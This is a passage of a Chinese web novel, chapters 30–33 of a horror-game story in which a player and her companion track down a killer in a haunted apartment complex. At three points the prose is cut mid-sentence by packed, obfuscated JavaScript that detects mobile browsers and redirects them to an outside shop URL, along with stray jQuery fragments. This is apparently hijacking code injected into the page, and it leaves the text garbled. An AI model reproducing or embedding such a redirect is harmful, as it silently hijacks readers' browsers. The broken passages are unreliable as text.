这诡异的氛围,好像他们不在小吃街,而是在马戏团中,观众由于看到了什么有趣的东西,从而喝彩。 要是排除这些顾客全都在舔刀削面的摊主以外,那这背后一定有深沉的原因。 刀削面摊主将做好的刀削面递给其中一名顾客。 那人激动得几乎要晕过去,他似乎感觉不到烫一样,拿着刀削面就往嘴里倒。 不到一分钟,整碗刀削面全部进了肚。 他的皮肤立马开始变红,仰天长啸,嘴里冒出源源不断的热气,像是要变异了一般。 四周围着的顾客恍若未觉,没有分给他一丝眼神,他们依旧在为摊主削下面团而狂热地喝彩着。 他们看不见吗? 宋须满感到疑惑,她紧紧盯着摊主模糊的面孔。 突然,那因为远距离而显得有些模糊的面孔突然变大,并且非常清晰。他抬起头,嘴向两边裂开,延伸到耳根处。 宋须满甚至能看清那裂开之处黏连着的肉丝。 二人视线交汇之时,刀削面摊主古怪一笑。 30. 深夜小吃街(十) 要是一般人,可能会被他吓到,但是宋须满是谁啊? 她可是大饼摊主、问题指导、玩家、勇敢者、画大饼之神、先驱…… 这时候就有人要问了,副本允许这么多人进入吗?而宋须满嘿嘿一笑,这可不是很多人,这些,只是她的名号罢了。 所以宋须满无所畏惧地回了个古怪的笑容。 刀削面摊主的表情从诡异的“嘻嘻”变为了“不嘻嘻”。 一切在瞬间恢复了正常,摊主的脸重新变得模糊,他低头忙碌着,仿佛先前的一切都是宋须满的错觉。 刀削面摊主已经没有新的反应了,于是宋须满叫叶詺把她放下来。 可怜的叶詺,并不知道刚刚发生了多么惊心动魄的一幕。 … 鑫鑫大厦前台的机器人正在唱着歌:“钱钱钱~钱钱钱钱~” 它好像只会唱这一句。 大门被人打开,机器人一秒转变为工作模式:“您好,欢迎来到……” 它好像只有这一句开场白。 “快点!要多少?”那个不是很礼貌,但是很眼熟的少女风风火火冲进来,打断了它。 可恶,它可是鑫鑫大厦研发的全自动高级智能机器人,在不久的将来,甚至可以代替人类! 区区人类,怎么敢这样和它说话! 机器人黑了一会屏,大屏幕上缓缓升起一个数字:“80。” 20,40,80……看起来像是倍数增长,希望如此。 机器人伸出手,安静地等待。 宋须满抽出八十冥币,放在它的手心。 机器人喜笑颜开,语气都恭敬了不少:“您好,保安现在的位置为:鑫夏路66号。” 然后它又唱起了金钱的小曲:“钱钱钱~钱……” “轰——”巨大的关门声打断了它。 机器人:……有的时候真的挺想报警的。 … 鑫夏路66号,这只是无数高楼中不起眼的一幢,楼房高耸入云,家家户户灯火通明。 在进出口处,有着一座小小的保安亭,它破旧,渺小,坐落在高楼大厦旁,并不是很般配。 “小吴,今晚记得去巡逻。”冰凉的吐息触碰着吴游耳后的皮肤。 他不禁打了个寒颤:“……收到。” 也不知道在这小区当保安几天了,这里和昼城简直就是两个极端。 昼城是永不存在黑夜的城市,这里却永远都是黑夜。 还有,吴游的视线转向保安亭外,刚刚嘱咐他好好巡逻的队长,此刻正站在一楼,他将脖子拉长,探视二十五楼的住户。 他的脖子简直太长了,像一条巨大的蟒蛇蠕动上爬,顶着脑袋缓缓攀爬到二十五楼,而身子却仍然留在原地,真是让人生理不适。 吴游摸了摸自己手臂上的鸡皮疙瘩,这场景,还真是不论看了多少次都不会习惯啊。 牢记队长的嘱托,他拿着手电筒和警棍去巡逻了。 要说巡逻这工作吧,说轻松也挺轻松,只要装模做样在小区里巡逻一圈,就可以收拾收拾睡觉了。 但要说不轻松吧,其实也不轻松。毕竟这里可不是什么正常的小区。 “哒哒哒——”黑夜中,只剩下他的脚步声。 四周一片静默,巡逻完一圈,没有发现什么异常。 “哒哒哒——”“窸窸窣窣——” 有什么声音! 他发现了,除了他的脚步声以外,还有草丛摩擦的声音。 但是,他伸出手感受了一下,没有风。 “窸窸窣窣——”草丛里好像有什么东西在动。 吴游将警棍拿握紧,悄悄靠近。 一步,两步…… 他距离草丛越来越近了。 草丛仍在小幅度抖动,他眼一闭心一横,大喝一声钻进了草丛。 高高举起的警棍终究没有挥下去,因为草丛中在动的东西,竟然是…… 一只受伤的小狗,它的左前腿正在流血,在不断挣扎着尝试站起来。 刚刚那“窸窸窣窣”的动静,原来是它发出来的啊。 吴游松了一口气,走进草丛试图帮助小狗的他没有看到,身后一双反射着冷冷刀光的眼睛。 … 宋须满和叶詺骑着冥享单车,在大街上转来转去。 “是这么走吗?”叶詺迷惑道,“这条路我们是不是走过?” “没有吧,相信我。”宋须满自信满满,也不知道她这自信是哪来的。 “救命啊!”路旁冲出来一个人,浑身血污地挥舞着双手大叫。 “救救我!”他不管不顾地冲到了宋须满的冥享单车前。 好在宋须满车技高超,她立马踩了刹车。 可是这冥享单车好像不是很好使啊!它并没有停下,而是直直撞上了那人。 在空中体验短暂飞行的宋须满暗道不好,这不会是来碰瓷的吧? 叶詺骑在另一辆冥享单车上,看着宋须满飞了一个轮子的冥享单车,发出尖锐爆鸣声:“这车坏了这么还啊?押金怎么拿出来啊!” 宋须满晕头转向从地上爬起,还好车速本就不快,再加上前面有人缓冲,要不然后果不堪设想啊…… 天杀的!冥享单车我要投诉你! 对了,是不是忘记了什么…… 地上那坨红色的东西气若游丝:“天杀的冥享单车……” 看来他也是遭受过冥享单车迫害的可怜人,宋须满泪眼汪汪,遇见有缘人的激动促使她一把将地上那人拉起。 那人被血糊了满脸,看不清面孔,稍稍缓过来后,他继续求救:“救命啊!救救我!” “别着急,你慢慢说,何事?”宋须满对于同病相怜之人那叫一个耐心满满,宽容和善。 “有个疯子在我们小区大开杀戒,我也不知道发生了什么,一进小区,就有血飙我脸上了!然后那疯子要来追我,我立马就跑了!”那人激动起来,像个喇叭。 原来不是他的血,宋须满还奇怪他除了被撞那一下,怎么这么中气十足呢。 “哪个小区?” “我也不知道,我刚搬进去的,据说是鑫鑫大厦推出的最环保、最绿色、最舒适、最美丽、最现代化、最……” 眼看那人要像个推销员那样将广告语背一遍,宋须满喊到:“停!” 那人意识到不对劲,憨憨傻笑:“反正我也不知道,我叫江涛,住在鑫夏路66号。” “鑫夏路 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13678552|142861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 66号!”一个金色的东西冲了上来,江涛被吓了一跳。 “对啊,鑫夏路66号。” “鑫夏路66号!!”金发少年的激动溢于言表。 果然,叶詺还是不信任宋须满,她感到很伤心。 “那我们现在该怎么去呢?”宋须满有些不忍地看着那飞了一只轮子的冥享单车。 当然,不忍的是她扣的押金。 “什么?你们居然还想去!听我一句劝,快跑吧!我要去医院!”江涛就像看到了外星人一样,震惊且震惊。 “你哪里受伤了吗?”不是别人的血飙你脸上了吗? “我弱小单纯的心灵!”江涛捂着心脏,振振有词。 “那好吧,你先赔我的冥享单车!”宋须满也振振有词。 江涛不嚷嚷了,他低着头慢慢向路边移动,似乎想回去。 宋须满抓住了他,她笑得和善:“要不带路,要不……” 江涛害怕极了,他焦急地大喊:“我带路!” 宋须满将没了一个轮子的冥享单车放在路边,确保不会造成交通事故,然后询问江涛:“我们怎么过去?” “走路呀。”江涛已经开始往路边走了,“我就是跑过来的,一点都不远。” … 亿点都不远! 那还是蛮远的,他们足足走了有半个小时,黄花菜都凉了。 江涛看到那大楼:“不好!” 大楼灯火通明,有些窗户透出暖色的灯光,有的窗户,透出的却是红色的光。 “你们这有些住户还挺有个性啊。”叶詺也注意到那红色的光了。 “从来没有人会在晚上开红色的灯!你是真傻还是假傻,那是有人被杀了啊。”江涛用关怀智障儿童的眼神看着叶詺。 血溅在窗户上,屋子里的灯光透过鲜血,营造出朦胧的红色灯光。 夜晚的风儿甚是凉爽,吹得宋须满打了个寒颤:“保安在哪?” 他们此行的目的,是来找玩家的。 江涛指着藏匿在阴影中的保安亭:“我也不知道保安在不在。” 保安亭里没有亮灯,大门虚掩着,偶尔被风吹得发出难听的“嘎吱”声。 宋须满可太熟悉从门缝中透出的味道了。 浓浓的血腥味,几乎能让人想起一些惨不忍睹的画面。 “有人吗?”她推开门问道。 意料之中的,没有人回答。 “啪嗒”,叶詺将保安亭的灯打开了。 躲在叶詺身后的江涛崩溃了:“这是什么啊?!” 一个身材魁梧的大汉躺在地上,身穿保安制服,脸色发白,毫无反应。 一只锻炼得非常好的手臂脱离了他的身体,静静躺在距离大汉两米处。 断臂处已经不再喷涌出鲜血,而是慢慢的,一点点的流。 叶詺认出来了,这就是他那有过一面之缘的玩家大哥啊! [还你康康拳:古有还你漂漂拳,今有还你康康拳!还你康康拳,还你健健康康,还你幸福人生。 说明:玩家可使用还你康康拳(物理),使被使用对象恢复一定身体机能。] 于是,宋须满和江涛眼睁睁看着叶詺挥舞着拳头冲了上去。 31. 深夜小吃街(十一) 叶詺一拳打在了倒在地上不省人事的吴游身上,他的断臂慢慢结痂,然后不流血了。 宋须满:啊? 江涛:啊?? 他们的疑惑并没有持续很久,因为地上的吴游很快就醒了过来。 “咳咳咳!”他咳出来一口血,然后迷茫地看着三个人头。 是的,三个人正伸着头看他,就像看池子里的观赏鱼似的,好像要给他喂食了。从他这个视角看,就是三个人头! 他也不知道发生了什么,右臂的疼痛后知后觉传来,他“嘶”了一声。 叶詺看着那伤口吱哇乱叫,好像受伤的是他一样:“太可怕了!太可怕了!” 那断口处不是很平整,看起来不是被利器一下子砍断的,刀口凌乱,看起来被砍了好几次。 江涛偷偷摸摸想要溜走,却被宋须满一把抓住了。 他有些崩溃,十分想跑:“这里不能待了,就连保安都这样了!” “赔我冥享单车!”宋须满继续振振有词。 江涛低下头不吱声了,众所周知,房奴是很没有钱的,不要说赔一整个冥享单车了,就连冥享单车的一点漆也赔不起啊! 更何况是住在最环保、最绿色、最舒适、最美丽、最现代化,最……的某小区的人。 “这里发生了什么?”叶詺问道。 吴游对于这个金毛还是印象很深刻的,他心里的戒备不知不觉放下了。在这种鬼地方遇见一个玩家是多么让人心里暖暖的事情啊! 于是他泪眼汪汪单手拉着叶詺,开始讲述他悲惨的遭遇。 “我叫吴游,在刚刚,我想帮助草丛里的小狗,结果……” “吴大哥你可真有爱心!”叶詺伸出大拇指表示咱赞扬。 社会需要这种风气!人类需要这种爱心! “谢谢!这是我从小到大,老师和家长不断教育我的!我们要有爱心,有了爱心,世界将会变得更美好,社会将会……” 叶詺捧场地狠狠点头,然后趁机将一张小广告塞进了吴游的左手。 吴游正在兴头上,没认真看就随手揣兜里了,叶詺得意地拍了两下手。 “不好意思扯远了。”吴游发表了一番感言后终于反应过来了。 他继续说:“结果身后突然蹿出来一个人,说实话我没看清他到底长什么样,小区的灯太黑了!这灯实在应该换换,要是有人晚上看不清摔跤了怎么办……” 在他又要将话题跑偏之际,宋须满进行了一个紧急处理:“然后呢?” “然后啊,然后他拿着刀就要砍我,我拿着警棍就要打他!他的身手还挺好,我们一路打到了保安亭门口,我一个不慎被门槛绊了一下,他几刀就把我手臂砍下来了,然后我就晕了过去。” “这样啊。”宋须满作思考状,“淑芬,你怎么看?” 叶詺作同款思考状:“禀报清汤大老爷!有没有一种可能,小人不叫淑芬呢?其次,我现在站着看!” 吴游给出的信息实在太少了,他甚至都没有看清那人的外貌特征。 “要完成保安的工作,恐怕要将那人捉拿归案吧。”叶詺猜测着。 宋须满觉得他在说废话,保安保安,顾名思义,保障人们安全。 可是要怎么捉呢?吴游现在少了右胳膊,对那人毫无所知。 她的视线转向躲在一旁满身血污的江涛:“你们小区……” 江涛疯狂摆手:“我不知道啊!我什么都不知道!” “那我们能去你家坐坐吗?保安亭太危险了,凶手不知道何时会卷土重来。”宋须满探究的眼神落在江涛身上。 “我家也不安全吧……那个凶手都杀了好几家了。”江涛担忧着,明显还想跑,“要不我们还是离开这里吧。” 宋须满盯着江涛的眼睛:“万一凶手记住了你的脸呢?你当时不是在现场吗?你不怕他来找你?” 她拍了拍江涛的肩膀,语重心长,“先下手为强啊……你也不想,每天胆战心惊地过日子吧?” 江涛得承认,他被说服了。 于是他就这么随便地加入了寻找凶手小队。 在这个临时组建起来拥有着临时目标的小队中,吴游只认识金毛一个人。 但他的警惕心没有袁思竹那么强,看宋须满和江涛一直都和叶詺在一起,他很容易就接受了二人。 宋须满简直想要给叶詺加鸡腿!原本他要留下来,宋须满全当多了个聒噪又无用又傻又爱发小广告的挂件,没想到他还有这种功能。 由于醒目的金发,叶詺总是玩家中最先被记住的。 就算现场有10000个玩家,只要其他人没有染如此显眼的颜色,那么叶詺肯定是第一个被记住的。 所以有他在宋须满身边,她寻找玩家时便自带一些信任值了。 金毛,是玩家,认识。 金毛旁边的少女,经过逻辑推理,也是玩家,四舍五入约等于认识。 叶詺不明白为何宋须满在一瞬间看他的眼神都变得亲切起来,就像他总是搞不懂宋须满在想什么一样。 这个小队的第一次行动,就收到了阻碍。 宋须满提议去受害者家中看看:“凶手杀了人之后总得走吧,我们现在去案发现场反而是最安全的。” 江涛坚决反对:“你不知道凶手犯罪后一般会重新回到案发现场吗?” “要是凶手真是个疯子,按他的行为逻辑来说,他将继续寻找下一个受害者,而不是返回案发现场!”宋须满坚持着自己的观点。 凶手要是个疯子,就会不断找人来杀,而不是待在尸体旁边。 吴游手忙脚乱,虽然他现在只剩下一只手了:“你们别吵了!” 宋须满赌气似的摔门出去了,看起来是要去案发现场。 在路过叶詺时,她还迁怒地撞了叶詺一下,像是把怒火无差别地发泄在了碰到的所有人身上。 叶詺感到莫名其妙,他从未见过宋须满如此作态。 他握紧拳头,默默叹了口气。就像他所说的,他从来都搞不懂宋须满在想什么。 … 宋须满认真地寻找了个能纵览全楼的位置,记下了红色灯光的所在地。 “八列三行,九列十行……” 虽说都是红色灯光,但红色有深有浅,淡的就像飘渺的红纱,浓的就如血色的丝绸。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13690967|142861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她优先朝着颜色最浓的地方去了。 “九列十行……” 宋须满确定了大致方位,现在,摆在她面前的有两个选择。 一是左手边贴满了小广告,看起来让人眼花缭乱的电梯。电梯有些破旧了,看起来是能让人想起无数坠毁事故的电梯。 二是右手边的楼梯,先不说楼道里黑漆漆的一片,就说那令人望而生畏的十楼…… 该如何选择呢? 有人选择自己思考,命运掌握在自己手上!有的人选择抛硬币,让上天决定吧! 而宋须满两个都选! 她选择抛大饼,然后让大饼自己思考。 “正面电梯,反面楼梯!” 她向下蓄力了一下,大饼腾空而起! “咣——咔嚓!”好消息!大饼落地了! 坏消息,大饼直直卡进了地板里,咔嚓声不是大饼发出的,而是可怜的地板。 同样可怜的还有宋须满,这是哪个都不能选的意思吗? 看来命运还是要掌握在自己手里的。 其实在大饼停留在空中的3.333秒内,宋须满内心已经有了答案。 “还是电梯吧,我可不想爬九楼……”她收起大饼,朝着电梯走了过去。 电梯破旧的厅门打开,露出了里面同样破旧的轿厢毫无保留地展现在她面前。 宋须满走了进去,然后。 “滴滴滴!”电梯亮起了红灯,这是,超重了? 与此同时,除了她一人的电梯内,出现了低低的交谈声。 “都超重了!能不能自觉一点!” “我赶着回家做饭呢!” “快下去几个人啊!” 宋须满看着周围满满的空气,陷入了沉思。 她没有动,电梯重新发出“滴滴滴”的警告声。看不见的东西又开始交谈。 “怎么还是超重?刚刚不是踢下去几个吗?” “她怎么不下去啊?”宋须满感受到一股阴冷的视线。 “对哦,她怎么不下去啊?” “她怎么不下去啊。” “她怎么不下去啊她怎么不下去啊她怎么不下去啊……” 无数道阴冷的视线搞得宋须满大晚上的心里冷冷的。 这些东西太吵了,宋须满跨过轿厢,想要出去。 就在她踏过一只脚的同时,电梯突然开始快速向上运动。 “嘻嘻,这是第几个呢?”轿厢内发出了一声很轻的嬉笑。 宋须满眼疾手快拿出大饼立在地上,然后整个人趴在原地。 “咔嚓——”不要误会,这不是大饼碎裂的声音,而是轿厢。 大饼死死卡在了轿厢底部与电梯的厅门上方,形成了一个不大不小的缝隙,要是挤挤,宋须满应该能出去。 “啊?她怎么这样……”失望的声音此起彼伏。 宋须满顺着缝隙溜出去,稳稳跳到了地上。 看着被死死卡着的电梯,宋须满失望地想,这下坐电梯是不可能的了。 再见了不知道载了什么鬼东西的电梯,再见了,大饼! 她朝着黑漆漆的楼道走去了。 32. 深夜小吃街(十二) 楼道的灯是感应的,宋须满走过去,灯亮了。 但她没走两步,灯又熄灭了。 宋须满:?她敢举起大饼起誓,前后最多不超过三秒。 能提供照明,但不多。 于是她就一边拍手一边走,走两步拍下手,走两步拍下手…… 简直可以原地融入为舞台上爱豆应援的粉丝了,可惜这里不是演唱会,没有爱豆也没有粉丝,只有阿飘和阿飘。 “别挤了,我眼珠子都要被挤掉了!” “好饿啊,我要快点回家做饭。” “怎么这么挤啊!是不是你太胖了?” 安静的楼道突然变得喧嚣起来,配上宋须满的巴掌声,更像应援现场了! “是不是她,只有她和我们不一样。” “肯定是她!好饿啊……” “她怎么不离开啊?” “她怎么不离开啊她怎么不离开啊她怎么不离开啊……” 又来?她离不离开关它们什么事?在电梯里宋须满就谦让了它们,也没什么特殊的理由,仅仅是因为她善! 但是就算她善!那些阿飘也不能这么挤兑人。 “觉得楼道挤有没有想过是自己的问题?楼道一直以来都是这么挤!想想自己这么多年到底有没有认真排队!”宋须满的言语宛如利剑一般狠狠刺入阿飘们的心脏。 楼道一时静默了下来,感应灯啪嗒一下灭了,世界陷入黑暗之中。 宋须满狠狠跺了一下脚,灯光出现,同时出现的还有阿飘害怕的声音。 “她这么说好像有点道理,不过她怎么这么凶,好可怕!” “好饿啊好饿啊,要排队要排队。” “这句话有点耳熟,仿佛是我生前听到过的。你快站她后面去,我站你后面……” “凭什么?你站她后面……” 阿飘们叽叽喳喳谦让着宋须满身后的位置,完美学会了宋须满谦让的美德。 虽然有些聒噪,但它们的说话声能使感应灯保持常亮。 宋须满再也不需要一边鼓掌一边爬楼梯了! 爬到九楼时,难闻的血腥味扑面而来,地上也有不少星星点点的血迹。 “案发现场嘻嘻。” “好饿啊,今晚做红烧肉还是可乐鸡呢?” “小心被碎尸哦。” 有完没完了?这些阿飘不会要一直跟着她吧,她到底做错了什么?要忍受如此聒噪的环境。 910室的门被宋须满打开,她走了进去,看似只有她一个人,身后却不知道跟了几个阿飘。 屋内的灯还没关,但是受害者的鲜血喷溅到灯泡和窗户上,射出来的光红红的。 这就叫有氛围感啊,宋须满感叹着。 一女子趴在血泊中,看不清脸,身体被砍成两截,断口处的白骨和血肉清晰可见。 这死状莫名让宋须满想起雨后的街道上,从泥土中爬出的蚯蚓被车轮滚过,变成两截。 从她微卷的浅色头发可以推断出,死者应该是个年轻的女孩子。 “好惨啊,这死透了吧?” “也许红烧排骨更好一点?” “啧啧啧,谁下的手啊?” “活该!” 宋须满从阿飘们模糊的声音中捕捉到了一些有用的信息,当然不是听起来就很好吃的“红烧排骨”,而是带着恶意的“活该”。 众所周知,活该指的是一个人做错了事,得到了应有的报应,她到底做了什么?需要以如此惨烈的方式来支付。 “什么活该?”宋须满对着空气问。 “天天鬼混到凌晨才回家,还染头发……肯定是在外面乱搞招惹了什么人。” “你这么确定,你亲眼看见了?”宋须满反问。 “看不看见的不重要,很多人都这么说。事实就是我想的这样。” “你既然可以用言语构筑事实,那怎么还是阿飘呢?你是不想变成人吗?是不想吗?” “你……”那道声音渐渐弱了下去。 宋须满拿起距离女人不远处的手机,开屏就是绿泡泡发来的消息。 “小王啊,今晚继续加个班,你也知道的,我最看重你。年轻人还是得多锻炼锻炼……” 可爱的小狗头像回了个:“收到。” 哦吼,居然比她还会画大饼!看来在画大饼这条路上,宋须满需要学习的还有很多啊。 她的手机很干净,联系人大多都是备注的职位,看起来是一个班味很重的打工人。 既然上了班,那可就要班班味味的啊。 未读的陌生人发来的消息引起了宋须满的注意。 “等着吧,我会拉着你一起下地狱。” “你抛弃我之后过得这么好,真是嫉妒啊。” “我要杀了你!还有那个奸夫!” “别以为我们分手了你就能找下家,你这辈子都只能和我纠缠在一起!” 出现了,嫌疑人出现了! 宋须满点进那人头像,只显示了一串电话号码,她点击拨通。 “滴嘟嘟嘟,您呼叫的号码是空号……” 宋须满随意看了一下现场,没有发现其他重要的线索。 “你怎么乱翻人家东西?” “唉,好饿啊,要不还是红烧肉吧?” “不是要等警察叔叔来吗?你真不是个好人!” 原来阿飘也信警察吗?真是闻所未闻。 “警察来了第一个抓的就是你!”宋须满吓唬了它一句。 她将手机揣兜里,然后打算出门去另一处。 “她走了,我们还要跟着吗?” “我想回家做饭吃……” “吃吃吃!都多久没来个人了!有瓜不吃是傻子,吃到一半不吃了是傻子中的傻子。” 其实宋须满并不介意它们跟着。 毕竟,谁能拒绝一群能自动触发感应灯的阿飘呢? 不管谁能拒绝,反正她不能拒绝。 803室。 一位年轻男子以同款姿势同款两截身体躺在地上,已经死得透透的了。 同样的,灯上和窗户上也全是血迹。 “嘀嗒,嘀嗒……” 未干的血正从那滴下来…… “他也死了?” “好饿啊,早知道不和你们一起了……” “我们小区看起来不太安全啊……” 他的手里攥着一部手机,聊天界面上的时间定格在21:57。 “小莲,以后别加班到那么晚了,晚上一个人在外边不安全 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13702200|142861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “你到家了吗?” 另一边的人没有回他。 但这个头像,可爱的小狗……有点眼熟啊。 宋须满掏出另一部手机看了一眼,聊天框对面的头像正是那位年轻女子的绿泡泡头像。 可是她的手机里并没有显示这条消息,难道是被谁删了聊天记录吗? 宋须满将两个手机合起来揣一个兜里,那是因为她只有一个兜吗?不不不,那是因为另一个兜啊,她自有用处。 此时,另一个兜里的对讲机发出声音。 “滴嘟滴嘟,满姐你在吗?大事不妙了!” 对讲机是在她有意撞叶詺那一下时,他塞到她手里的。 当时她还震惊了一下,没想到他们两个这么心有灵犀。 因为她啊,也给叶詺偷偷塞了东西。 另一个兜的用处,就是放叶詺塞给她的对讲机的。 “吴大哥他被抓了!速回!收到请回复!滴滴滴。” 宋须满感到有点无语,不是因为吴游被抓了这件事,而是因为这刚开始的“滴嘟滴嘟”和最后的“滴滴滴”根本就不是对讲机自带的。 而是叶詺用嘴发出的声响。 “滴滴滴,收到!”宋须满收好对讲机。别说,这样说话还挺好玩,帮助她回忆起了无忧无虑的童年时光。 “她要走了吗?” “太好了,我要回家做水煮鱼吃。” “她在那滴滴滴什么,是不是脑壳有问题?” 宋须满没有理会,走自己的路,让别人说去吧! ……让阿飘说去吧! … 保安亭只剩下了叶詺和江涛两人。 叶詺靠着门站着,焦急地往外门外看。 江涛则坐在椅子上,意外的有些平静:“你是在赏月吗?” 他脸上的血迹已经擦干净了,与他先前表现出来的不着调相反,他的气质反而偏沉静。 叶詺不可置信地看他:“大兄弟你这是脑子被驴踢了?谁有心情赏月。” “今晚月色真美。”他莫名赞叹了一句。 “满姐!满姐!”叶詺叫了起来,聒噪程度简直和那些阿飘不相上下。 宋须满捂住耳朵,抑制住拿出大饼砸晕他的冲动。 “吴大哥被鑫鑫大厦的人抓走了。” 鑫鑫大厦?怎么又是鑫鑫大厦,作为一个副本里的背景板,它出现的频率未免也太高了。 “他们说吴大哥玩忽职守,要把他拉去坐牢。或者赔钱,赔一百万。” 不愧是依靠剥削生存的资本家,永远都能从人的身上榨取价值。 “你咋不反抗?你的道具呢?”宋须满很疑惑,虽然很不想承认,但是依照叶詺的实力,两个玩家也不至于打不过几个工作人员啊。 叶詺用前所未有的认真语气说:“玩家的道具,似乎对鑫鑫大厦的人没用。” 玩家的道具,对鑫鑫大厦的人没用? 道具说明里可没写啊! 所有道具都是显示的要么仅可对玩家使用,要么仅可对NPC使用。要么有范围限制,要么有时间限制。 但是绝对没有一个道具说明里存在着“不可对鑫鑫大厦人员使用”的字样。 既然如此,那就说明—— 33. 深夜小吃街(十三) 鑫鑫大厦,不属于副本的范畴。 道具可在副本中对特定对象使用,既然道具不能对鑫鑫大厦的人使用,那么鑫鑫大厦就不属于副本。 很合理的推断。但是,为什么这次的任务和鑫鑫大厦息息相关呢? 如果鑫鑫大厦不是游戏副本的设定,难道是游戏抽了? 也不是没有可能,毕竟这游戏随随便便把她拉进来也是够脑抽的了。 江涛从椅子上离开,走到两人面前:“我们现在还要找凶手吗?” 宋须满似笑非笑:“你又想跑吗?” 江涛摇了摇头:“之前是想的,现在不想了。” “这样啊,那我们继续找吧……”宋须满毫无防备地转过身,将后背对准江涛。 叶詺的视线紧紧跟随着宋须满。 这可是天大的好机会啊,不能把握住就是天大的傻子! 一把尖刀划破空气,直直朝着宋须满脆弱的脖颈而去。 下一秒,锐利的尖刀将透过皮肤,深深刺入血肉,随着血液的喷溅,一条生命将从世上消逝。 生命就是如此脆弱的东西,仅仅只需要一秒,一个活生生的人便会消失在世界上。 然而,大饼却很坚硬。 凭空飞来一张大饼,“噌——” 他的刀被弹开了。 原来就算把握住了机会,他也是天大的傻子! 叶詺不知何时已经转过头看他,他脸上带着淡淡的嘲讽:“你是急急国王啊,怎么比我们还急?” 【玩家[卖道具的小蘑菇]使用道具[你真是失了智了]】 [你真是失了智了:“不是吧不是吧,你怎么把我们之间的小秘密告诉他了,不是叫你不要说吗?”“对不起嘛,我不是故意的,事出有因。”“什么因?”“因为我叫石乐智!” 说明:玩家可赋予指定对象“石乐智”效果,指定对象将获得负面buff石乐智,该效果持续三分钟后自动解除。] 江涛在一瞬间感觉智力离他而去了,他仿佛回到了无忧无虑还会拉裤子的纯真年代…… “你是凶手吗?”在宋须满看来,叶詺此刻真是满脸慈祥。 原来男妈妈的经历真的能改变一个人! “是我。”他低着头,不安地扭动着身躯。 “那你为什么要杀他们呢?” “因为小莲不和我玩了。我要杀了她,还有和她一起玩的人。她是个坏人,她不应该大晚上才回家……”江涛不安地用手抓着自己的头发。 宋须满用手肘推推叶詺:“你还有道具可以把他困住不?” 道具小王子怎么可能没有道具呢? 【玩家[卖道具的小蘑菇]使用道具[皇帝的新绳(升级版)]。】 [皇帝的新绳(升级版):自从上次将那胡说八道的人拖下去斩了之后,再也没有人质疑过这条绳子是否是真实存在的了,其实它存不存在的,又有什么重要的呢? 说明:可使被使用对象被束缚,持续时间三小时。] 等江涛失去的智回来时,他已经动弹不得了。 “你们早就发现了!这样耍我玩有意思吗?”他表情扭曲,也顾不上伪装了。 宋须满抵着下巴:“只能说是怀疑吧,你自称住在这里却不知道这个小区的名字,非常可疑。” “就凭这一点?”江涛不可置信地瞪大了眼睛,他从未想过会在这种地方暴露。 眼见宋须满和叶詺不再搭理他,而是朝着保安亭的大门外走去。他不死心地追问:“新搬进来的人在害怕的情况下一时忘了小区名,难道说不通吗?” 宋须满心想你搁这总结失败经验呢,她微微一笑,只留下一个神秘的背影:“那么请你记住,女人的第六感。” 叶詺去拨打保安亭中的座机了,也不知道这里有没有警察。 好在电话接通了,警察表示他们会立刻出发。看来不论在哪个世界,警察都很可靠呢。 江涛这人给她的第一感觉就不对劲,不止是指他死活不肯赔宋须满的冥享单车,更多的是他的状态。 虽然努力装出一副害怕想逃离的样子,但一直只是嘴上说说,并没有特别强烈的抵触。 在叶詺看到住户窗户里透出的红光还没反应过来时,江涛已经极快地说出那是因为杀了人才导致的。 宋须满的第六感告诉她,可疑!非常可疑! 所以在她与江涛意见相左时,给叶詺塞了个纸条,叫他注意提防江涛。 没想到叶詺也给她塞了个对讲机。 怎么?这是物物交换吗? … “你的大饼扔的真够准的!有几分我上个副本时的风采。”宋须满赞叹道。 叶詺谦虚道:“一般一般。” 她其实挺惊讶的,毕竟叶詺看起来身手不是很好的样子。 过于精致的五官加上耀眼的金发……给人的感觉更像靠脸吃饭的小鲜肉。 她已经做好了牺牲一个道具的准备,没想到叶詺真的挡下了江涛那一击。 宋须满看着叶詺精致的脸庞,还真是人不可貌相啊! 突然,一阵阴风呼啸而过,带着些腥臭的气味,像海里死了八天的鱼混杂着醉酒后马桶里的呕吐物的味道。 叶詺脸色发绿,一声“yue”卡在喉咙里。 不是因为他自我调节能力有多强或者是多有素质,毕竟,就连宋须满这么有素质的人都要忍不住“yue”一声。 而是因为他的脖子被一个像大蟒蛇一样的东西缠住了。 那东西从黑暗中延伸过来,肉色的,长长的,在叶詺脖子上绕了一圈,变出一个人头来,那人头紧贴着叶詺的头,简直就像他长了两个头一样。 原来那延伸过来的东西,是人拉长的脖子! 人头开口说话了:“你们不是这里的住户!怎么进来的?” 